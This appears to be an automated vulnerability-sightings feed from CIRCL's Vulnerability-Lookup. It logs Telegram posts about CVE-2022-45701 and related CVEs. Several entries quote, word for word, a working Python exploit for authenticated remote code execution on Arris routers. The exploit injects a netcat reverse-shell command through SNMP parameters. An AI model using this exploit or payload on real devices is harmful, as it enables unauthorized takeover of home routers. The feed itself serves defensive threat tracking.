https://vulnerability.circl.lu/sightings/feed 2026-09-17T18:36:30.055327+00:00 Vulnerability-Lookup info@circl.lu python-feedgen Contains only the most 10 recent sightings. https://vulnerability.circl.lu/sighting/360612b3-584d-40b2-97b6-7e7fe8a10667/export 2026-09-17T18:36:30.087280+00:00 Automation user https://cvepremium.circl.lu/user/automation {"uuid": "360612b3-584d-40b2-97b6-7e7fe8a10667", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-45701", "type": "published-proof-of-concept", "source": "https://t.me/cissp/6615", "content": "exploit\n1. CVE-2022-45701:\nArris Router Firmware 9.1.103 - RCE\nhttps://packetstormsecurity.com/files/171001\n\n2. CVE-2022-37955:\nEoP via Arbitrary File Write/Overwite in Group Policy Client \"gpsvc\"\nhttps://decoder.cloud/2023/02/16/eop-via-arbitrary-file-write-overwite-in-group-policy-client-gpsvc-cve-2022-37955\n\n3. CVE-2022-44666:\nMS Windows Contacts (VCF/Contact/LDAP) syslink control href attribute escape vulnerability\nhttps://github.com/j00sean/CVE-2022-44666\n\n\n\n-Cyber Security awareness-\n\nUp2date 4 Defence Today,\nSecure Tomorrow\n@CisoasaService\n1401.11.28", "creation_timestamp": "2026-09-11T00:00:54.609069Z"} 2026-09-11T00:00:54.609069+00:00 https://vulnerability.circl.lu/sighting/be4026ea-3860-4ffe-9995-a3b766ec81ff/export 2026-09-17T18:36:30.089862+00:00 Automation user https://cvepremium.circl.lu/user/automation {"uuid": "be4026ea-3860-4ffe-9995-a3b766ec81ff", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-45701", "type": "published-proof-of-concept", "source": "https://t.me/cissp/6615", "content": "exploit\n1. CVE-2022-45701:\nArris Router Firmware 9.1.103 - RCE\nhttps://packetstormsecurity.com/files/171001\n\n2. CVE-2022-37955:\nEoP via Arbitrary File Write/Overwite in Group Policy Client \"gpsvc\"\nhttps://decoder.cloud/2023/02/16/eop-via-arbitrary-file-write-overwite-in-group-policy-client-gpsvc-cve-2022-37955\n\n3. CVE-2022-44666:\nMS Windows Contacts (VCF/Contact/LDAP) syslink control href attribute escape vulnerability\nhttps://github.com/j00sean/CVE-2022-44666\n\n\n\n-Cyber Security awareness-\n\nUp2date 4 Defence Today,\nSecure Tomorrow\n@CisoasaService\n1401.11.28", "creation_timestamp": "2026-09-10T03:00:05.034487Z"} 2026-09-10T03:00:05.034487+00:00 https://vulnerability.circl.lu/sighting/5e7c6cec-4ea0-409e-bc02-551ec098c718/export 2026-09-17T18:36:30.090014+00:00 Automation user https://cvepremium.circl.lu/user/automation {"uuid": "5e7c6cec-4ea0-409e-bc02-551ec098c718", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-45701", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/90536", "content": "Exploit Collector\nArris Router Firmware 9.1.103 Remote Code Execution\n\nhttps://1.bp.blogspot.com/-ASAiGIAsbZo/WWlu3lcAbmI/AAAAAAAAII0/K9TarDW1B-wz0w-5-5rrjX8jWsow7QyegCLcBGAs/s1600/h100.png \nArris Router Firmware version 9.1.103 authenticated remote code execution exploit that has been tested against the TG2482A, TG2492, and SBG10 models.\n\nSHA-256 | c888a848e11678625335a5e6746925d5f7f030e21217d0ca2ec6555b03d7a881\n\nDownload\nc# Exploit Title: Arris Router Firmware 9.1.103 - Remote Code Execution (RCE) (Authenticated)\n# Date: 17/11/2022\n# Exploit Author: Yerodin Richards\n# Vendor Homepage: https://www.commscope.com/\n# Version: 9.1.103\n# Tested on: TG2482A, TG2492, SBG10\n# CVE : CVE-2022-45701\n\nimport requests\nimport base64\n\nrouter_host = \"http://192.168.0.1\"\nusername = \"admin\"\npassword = \"password\"\n\nlhost = \"192.168.0.6\"\nlport = 80\ndef main():\nprint(\"Authorizing...\")\ncookie = get_cookie(gen_header(username, password))\nif cookie == '':\nprint(\"Failed to authorize\")\nexit(-1)\nprint(\"Generating Payload...\")\npayload = gen_payload(lhost, lport)\nprint(\"Sending Payload...\")\nsend_payload(payload, cookie)\nprint(\"Done, check shell..\")\n\ndef gen_header(u, p):\nreturn base64.b64encode(f\"{u}:{p}\".encode(\"ascii\")).decode(\"ascii\")\n\ndef no_encode_params(params):\nreturn \"&\".join(\"%s=%s\" % (k,v) for k,v in params.items())\n\ndef get_cookie(header):\nurl = router_host+\"/login\"\nparams = no_encode_params({\"arg\":header, \"_n\":1})\nresp=requests.get(url, params=params)\nreturn resp.content.decode('UTF-8')\n\ndef set_oid(oid, cookie):\nurl = router_host+\"/snmpSet\"\nparams = no_encode_params({\"oid\":oid, \"_n\":1})\ncookies = {\"credential\":cookie}\nrequests.get(url, params=params, cookies=cookies)\n\ndef gen_payload(h, p):\nreturn f\"$\\(nc%20{h}%20{p}%20-e%20/bin/sh)\"\n\ndef send_payload(payload, cookie):\nset_oid(\"1.3.6.1.4.1.4115.1.20.1.1.7.1.0=16;2;\", cookie)\nset_oid(f\"1.3.6.1.4.1.4115.1.20.1.1.7.2.0={payload};4;\", cookie)\nset_oid(\"1.3.6.1.4.1.4115.1.20.1.1.7.3.0=1;66;\", cookie)\nset_oid(\"1.3.6.1.4.1.4115.1.20.1.1.7.4.0=64;66;\", cookie)\nset_oid(\"1.3.6.1.4.1.4115.1.20.1.1.7.5.0=101;66;\", cookie)\nset_oid(\"1.3.6.1.4.1.4115.1.20.1.1.7.9.0=1;2;\", cookie)\nif __name__ == '__main__':\nmain()\n\nSource:packetstormsecurity.com", "creation_timestamp": "2026-09-05T01:00:15.041048Z"} 2026-09-05T01:00:15.041048+00:00 https://vulnerability.circl.lu/sighting/3dd4da5a-cc75-4a49-8a80-95548a63a365/export 2026-09-17T18:36:30.090149+00:00 Automation user https://cvepremium.circl.lu/user/automation {"uuid": "3dd4da5a-cc75-4a49-8a80-95548a63a365", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-45701", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/90536", "content": "Exploit Collector\nArris Router Firmware 9.1.103 Remote Code Execution\n\nhttps://1.bp.blogspot.com/-ASAiGIAsbZo/WWlu3lcAbmI/AAAAAAAAII0/K9TarDW1B-wz0w-5-5rrjX8jWsow7QyegCLcBGAs/s1600/h100.png \nArris Router Firmware version 9.1.103 authenticated remote code execution exploit that has been tested against the TG2482A, TG2492, and SBG10 models.\n\nSHA-256 | c888a848e11678625335a5e6746925d5f7f030e21217d0ca2ec6555b03d7a881\n\nDownload\nc# Exploit Title: Arris Router Firmware 9.1.103 - Remote Code Execution (RCE) (Authenticated)\n# Date: 17/11/2022\n# Exploit Author: Yerodin Richards\n# Vendor Homepage: https://www.commscope.com/\n# Version: 9.1.103\n# Tested on: TG2482A, TG2492, SBG10\n# CVE : CVE-2022-45701\n\nimport requests\nimport base64\n\nrouter_host = \"http://192.168.0.1\"\nusername = \"admin\"\npassword = \"password\"\n\nlhost = \"192.168.0.6\"\nlport = 80\ndef main():\nprint(\"Authorizing...\")\ncookie = get_cookie(gen_header(username, password))\nif cookie == '':\nprint(\"Failed to authorize\")\nexit(-1)\nprint(\"Generating Payload...\")\npayload = gen_payload(lhost, lport)\nprint(\"Sending Payload...\")\nsend_payload(payload, cookie)\nprint(\"Done, check shell..\")\n\ndef gen_header(u, p):\nreturn base64.b64encode(f\"{u}:{p}\".encode(\"ascii\")).decode(\"ascii\")\n\ndef no_encode_params(params):\nreturn \"&\".join(\"%s=%s\" % (k,v) for k,v in params.items())\n\ndef get_cookie(header):\nurl = router_host+\"/login\"\nparams = no_encode_params({\"arg\":header, \"_n\":1})\nresp=requests.get(url, params=params)\nreturn resp.content.decode('UTF-8')\n\ndef set_oid(oid, cookie):\nurl = router_host+\"/snmpSet\"\nparams = no_encode_params({\"oid\":oid, \"_n\":1})\ncookies = {\"credential\":cookie}\nrequests.get(url, params=params, cookies=cookies)\n\ndef gen_payload(h, p):\nreturn f\"$\\(nc%20{h}%20{p}%20-e%20/bin/sh)\"\n\ndef send_payload(payload, cookie):\nset_oid(\"1.3.6.1.4.1.4115.1.20.1.1.7.1.0=16;2;\", cookie)\nset_oid(f\"1.3.6.1.4.1.4115.1.20.1.1.7.2.0={payload};4;\", cookie)\nset_oid(\"1.3.6.1.4.1.4115.1.20.1.1.7.3.0=1;66;\", cookie)\nset_oid(\"1.3.6.1.4.1.4115.1.20.1.1.7.4.0=64;66;\", cookie)\nset_oid(\"1.3.6.1.4.1.4115.1.20.1.1.7.5.0=101;66;\", cookie)\nset_oid(\"1.3.6.1.4.1.4115.1.20.1.1.7.9.0=1;2;\", cookie)\nif __name__ == '__main__':\nmain()\n\nSource:packetstormsecurity.com", "creation_timestamp": "2026-09-04T21:00:04.224794Z"} 2026-09-04T21:00:04.224794+00:00 https://vulnerability.circl.lu/sighting/15e58127-718f-48ed-8ce5-951dced7d190/export 2026-09-17T18:36:30.090266+00:00 Automation user https://cvepremium.circl.lu/user/automation {"uuid": "15e58127-718f-48ed-8ce5-951dced7d190", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-45701", "type": "seen", "source": "https://t.me/cissp/6615", "content": "exploit\n1. CVE-2022-45701:\nArris Router Firmware 9.1.103 - RCE\nhttps://packetstormsecurity.com/files/171001\n\n2. CVE-2022-37955:\nEoP via Arbitrary File Write/Overwite in Group Policy Client \"gpsvc\"\nhttps://decoder.cloud/2023/02/16/eop-via-arbitrary-file-write-overwite-in-group-policy-client-gpsvc-cve-2022-37955\n\n3. CVE-2022-44666:\nMS Windows Contacts (VCF/Contact/LDAP) syslink control href attribute escape vulnerability\nhttps://github.com/j00sean/CVE-2022-44666\n\n\n\n-Cyber Security awareness-\n\nUp2date 4 Defence Today,\nSecure Tomorrow\n@CisoasaService\n1401.11.28", "creation_timestamp": "2026-09-02T01:04:03.144162Z"} 2026-09-02T01:04:03.144162+00:00 https://vulnerability.circl.lu/sighting/df8022bf-a68c-4824-a6a6-13134c4987ef/export 2026-09-17T18:36:30.090370+00:00 Automation user https://cvepremium.circl.lu/user/automation {"uuid": "df8022bf-a68c-4824-a6a6-13134c4987ef", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-45701", "type": "seen", "source": "https://t.me/hacking_Attack/90536", "content": "Exploit Collector\nArris Router Firmware 9.1.103 Remote Code Execution\n\nhttps://1.bp.blogspot.com/-ASAiGIAsbZo/WWlu3lcAbmI/AAAAAAAAII0/K9TarDW1B-wz0w-5-5rrjX8jWsow7QyegCLcBGAs/s1600/h100.png \nArris Router Firmware version 9.1.103 authenticated remote code execution exploit that has been tested against the TG2482A, TG2492, and SBG10 models.\n\nSHA-256 | c888a848e11678625335a5e6746925d5f7f030e21217d0ca2ec6555b03d7a881\n\nDownload\nc# Exploit Title: Arris Router Firmware 9.1.103 - Remote Code Execution (RCE) (Authenticated)\n# Date: 17/11/2022\n# Exploit Author: Yerodin Richards\n# Vendor Homepage: https://www.commscope.com/\n# Version: 9.1.103\n# Tested on: TG2482A, TG2492, SBG10\n# CVE : CVE-2022-45701\n\nimport requests\nimport base64\n\nrouter_host = \"http://192.168.0.1\"\nusername = \"admin\"\npassword = \"password\"\n\nlhost = \"192.168.0.6\"\nlport = 80\ndef main():\nprint(\"Authorizing...\")\ncookie = get_cookie(gen_header(username, password))\nif cookie == '':\nprint(\"Failed to authorize\")\nexit(-1)\nprint(\"Generating Payload...\")\npayload = gen_payload(lhost, lport)\nprint(\"Sending Payload...\")\nsend_payload(payload, cookie)\nprint(\"Done, check shell..\")\n\ndef gen_header(u, p):\nreturn base64.b64encode(f\"{u}:{p}\".encode(\"ascii\")).decode(\"ascii\")\n\ndef no_encode_params(params):\nreturn \"&\".join(\"%s=%s\" % (k,v) for k,v in params.items())\n\ndef get_cookie(header):\nurl = router_host+\"/login\"\nparams = no_encode_params({\"arg\":header, \"_n\":1})\nresp=requests.get(url, params=params)\nreturn resp.content.decode('UTF-8')\n\ndef set_oid(oid, cookie):\nurl = router_host+\"/snmpSet\"\nparams = no_encode_params({\"oid\":oid, \"_n\":1})\ncookies = {\"credential\":cookie}\nrequests.get(url, params=params, cookies=cookies)\n\ndef gen_payload(h, p):\nreturn f\"$\\(nc%20{h}%20{p}%20-e%20/bin/sh)\"\n\ndef send_payload(payload, cookie):\nset_oid(\"1.3.6.1.4.1.4115.1.20.1.1.7.1.0=16;2;\", cookie)\nset_oid(f\"1.3.6.1.4.1.4115.1.20.1.1.7.2.0={payload};4;\", cookie)\nset_oid(\"1.3.6.1.4.1.4115.1.20.1.1.7.3.0=1;66;\", cookie)\nset_oid(\"1.3.6.1.4.1.4115.1.20.1.1.7.4.0=64;66;\", cookie)\nset_oid(\"1.3.6.1.4.1.4115.1.20.1.1.7.5.0=101;66;\", cookie)\nset_oid(\"1.3.6.1.4.1.4115.1.20.1.1.7.9.0=1;2;\", cookie)\nif __name__ == '__main__':\nmain()\n\nSource:packetstormsecurity.com", "creation_timestamp": "2026-09-02T01:01:25.579831Z"} 2026-09-02T01:01:25.579831+00:00 https://vulnerability.circl.lu/sighting/6bf5afe2-0dbc-4979-bd98-2b9c4e8f382e/export 2026-09-17T18:36:30.090481+00:00 Automation user https://cvepremium.circl.lu/user/automation {"uuid": "6bf5afe2-0dbc-4979-bd98-2b9c4e8f382e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-45701", "type": "seen", "source": "https://t.me/hacking_Attack/90536", "content": "Exploit Collector\nArris Router Firmware 9.1.103 Remote Code Execution\n\nhttps://1.bp.blogspot.com/-ASAiGIAsbZo/WWlu3lcAbmI/AAAAAAAAII0/K9TarDW1B-wz0w-5-5rrjX8jWsow7QyegCLcBGAs/s1600/h100.png \nArris Router Firmware version 9.1.103 authenticated remote code execution exploit that has been tested against the TG2482A, TG2492, and SBG10 models.\n\nSHA-256 | c888a848e11678625335a5e6746925d5f7f030e21217d0ca2ec6555b03d7a881\n\nDownload\nc# Exploit Title: Arris Router Firmware 9.1.103 - Remote Code Execution (RCE) (Authenticated)\n# Date: 17/11/2022\n# Exploit Author: Yerodin Richards\n# Vendor Homepage: https://www.commscope.com/\n# Version: 9.1.103\n# Tested on: TG2482A, TG2492, SBG10\n# CVE : CVE-2022-45701\n\nimport requests\nimport base64\n\nrouter_host = \"http://192.168.0.1\"\nusername = \"admin\"\npassword = \"password\"\n\nlhost = \"192.168.0.6\"\nlport = 80\ndef main():\nprint(\"Authorizing...\")\ncookie = get_cookie(gen_header(username, password))\nif cookie == '':\nprint(\"Failed to authorize\")\nexit(-1)\nprint(\"Generating Payload...\")\npayload = gen_payload(lhost, lport)\nprint(\"Sending Payload...\")\nsend_payload(payload, cookie)\nprint(\"Done, check shell..\")\n\ndef gen_header(u, p):\nreturn base64.b64encode(f\"{u}:{p}\".encode(\"ascii\")).decode(\"ascii\")\n\ndef no_encode_params(params):\nreturn \"&\".join(\"%s=%s\" % (k,v) for k,v in params.items())\n\ndef get_cookie(header):\nurl = router_host+\"/login\"\nparams = no_encode_params({\"arg\":header, \"_n\":1})\nresp=requests.get(url, params=params)\nreturn resp.content.decode('UTF-8')\n\ndef set_oid(oid, cookie):\nurl = router_host+\"/snmpSet\"\nparams = no_encode_params({\"oid\":oid, \"_n\":1})\ncookies = {\"credential\":cookie}\nrequests.get(url, params=params, cookies=cookies)\n\ndef gen_payload(h, p):\nreturn f\"$\\(nc%20{h}%20{p}%20-e%20/bin/sh)\"\n\ndef send_payload(payload, cookie):\nset_oid(\"1.3.6.1.4.1.4115.1.20.1.1.7.1.0=16;2;\", cookie)\nset_oid(f\"1.3.6.1.4.1.4115.1.20.1.1.7.2.0={payload};4;\", cookie)\nset_oid(\"1.3.6.1.4.1.4115.1.20.1.1.7.3.0=1;66;\", cookie)\nset_oid(\"1.3.6.1.4.1.4115.1.20.1.1.7.4.0=64;66;\", cookie)\nset_oid(\"1.3.6.1.4.1.4115.1.20.1.1.7.5.0=101;66;\", cookie)\nset_oid(\"1.3.6.1.4.1.4115.1.20.1.1.7.9.0=1;2;\", cookie)\nif __name__ == '__main__':\nmain()\n\nSource:packetstormsecurity.com", "creation_timestamp": "2026-09-01T20:01:04.928149Z"} 2026-09-01T20:01:04.928149+00:00 https://vulnerability.circl.lu/sighting/b7d73777-d6fc-4832-bd9f-658210d062f6/export 2026-09-17T18:36:30.090600+00:00 Automation user https://cvepremium.circl.lu/user/automation {"uuid": "b7d73777-d6fc-4832-bd9f-658210d062f6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-45701", "type": "seen", "source": "https://t.me/cissp/6615", "content": "exploit\n1. CVE-2022-45701:\nArris Router Firmware 9.1.103 - RCE\nhttps://packetstormsecurity.com/files/171001\n\n2. CVE-2022-37955:\nEoP via Arbitrary File Write/Overwite in Group Policy Client \"gpsvc\"\nhttps://decoder.cloud/2023/02/16/eop-via-arbitrary-file-write-overwite-in-group-policy-client-gpsvc-cve-2022-37955\n\n3. CVE-2022-44666:\nMS Windows Contacts (VCF/Contact/LDAP) syslink control href attribute escape vulnerability\nhttps://github.com/j00sean/CVE-2022-44666\n\n\n\n-Cyber Security awareness-\n\nUp2date 4 Defence Today,\nSecure Tomorrow\n@CisoasaService\n1401.11.28", "creation_timestamp": "2026-09-01T17:00:22.242101Z"} 2026-09-01T17:00:22.242101+00:00 https://vulnerability.circl.lu/sighting/4cf91b10-13d1-41bc-9a4c-7594c0407676/export 2026-09-17T18:36:30.090695+00:00 Automation user https://cvepremium.circl.lu/user/automation {"uuid": "4cf91b10-13d1-41bc-9a4c-7594c0407676", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-45703", "type": "seen", "source": "https://t.me/cibsecurity/68978", "content": "\u203c CVE-2022-45703 \u203c\n\nHeap buffer overflow vulnerability in binutils readelf before 2.40 via function display_debug_section in file readelf.c.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-08-22T22:21:55.000000Z"} 2023-08-22T22:21:55+00:00 https://vulnerability.circl.lu/sighting/fe2e73c0-d18a-44d2-8ef5-690c18155e9f/export 2026-09-17T18:36:30.090793+00:00 Automation user https://cvepremium.circl.lu/user/automation {"uuid": "fe2e73c0-d18a-44d2-8ef5-690c18155e9f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-45701", "type": "published-proof-of-concept", "source": "https://t.me/CyberSecurityTechnologies/7772", "content": "#exploit\n1. CVE-2022-45701:\nArris Router Firmware 9.1.103 - RCE\nhttps://packetstormsecurity.com/files/171001\n\n2. CVE-2022-44666:\nMS Windows Contacts (VCF/Contact/LDAP) syslink control href attribute escape vulnerability\nhttps://github.com/j00sean/CVE-2022-44666", "creation_timestamp": "2023-04-29T12:52:57.000000Z"} 2023-04-29T12:52:57+00:00